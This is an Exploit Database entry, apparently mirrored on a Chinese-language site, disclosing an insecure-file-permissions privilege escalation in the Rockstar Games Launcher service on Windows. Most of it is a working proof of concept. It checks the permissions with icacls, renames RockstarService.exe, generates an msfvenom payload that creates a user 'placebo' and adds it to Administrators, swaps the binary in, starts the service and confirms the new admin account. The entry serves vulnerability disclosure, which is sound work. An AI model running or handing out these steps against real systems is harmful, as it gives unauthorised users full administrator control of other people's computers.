Rockstar Service – Insecure File Permissions

• Exploit Database
• 10 阅读

• 作者： George Tsimpidas
  日期： 2021-04-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49739/

• # Exploit Title: Rockstar Service - Insecure File Permissions
  # Date: 2020-04-02
  # Exploit Author: George Tsimpidas
  # Software Link : https://socialclub.rockstargames.com/rockstar-games-launcher
  # Version Patch: 1.0.37.349
  # Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
  
  Vulnerability Description:
  
  RockstarService.exesuffers from an elevation of privileges vulnerability which can be used by an "Authenticated User" to modify the existing executable file of the service with a binary of his choice. The vulnerability exist due to weak set of permissions being granted to the "Authenticated Users Group" which grants the (M) Flag aka "Modify Privilege"
  
  #PoC
  
   D:\Launcher> icacls .\Launcher.exe
  
  .\Launcher.exe BUILTIN\Administrators:(I)(F)
   NT AUTHORITY\SYSTEM:(I)(F)
   NT AUTHORITY\Authenticated Users:(I)(M)
   BUILTIN\Users:(I)(RX)
  
  #1. Create low privileged user & Loginto that user
  
  C:\>net user lowpriv Password123! /add
  C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
  User name lowpriv
  Local Group Memberships *Users
  Global Group memberships *None
  
  #2. Move the RockstarService.exe to a new name
  
  D:\Launcher> move RockstarService.exe RockstarService.exe.bk
  1 file(s) moved.
  
  #3. Create malicious binary on kali linux with MSF
  
  msfvenom -f exe -p windows/exec CMD="net user placebo Password123! /add && net localgroup Administrators placebo /add" -o RockstarService.exe
  
  #4. Transfer created 'RockstarService.exe' to the Windows Host
  
  #5. Move the created 'RockstarService.exe' binary to the 'D:\Launcher' to replace the old one
  
  #6. Now start the Service
  
  Command : net start 'Rockstar Service'
  
  Now check out that the user has been registered to the system and added to the local group of Administrators
  
  C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr
  /v "Full"
  
  User name placebo
  Local Group Memberships *Administrators *Users
  Global Group memberships *None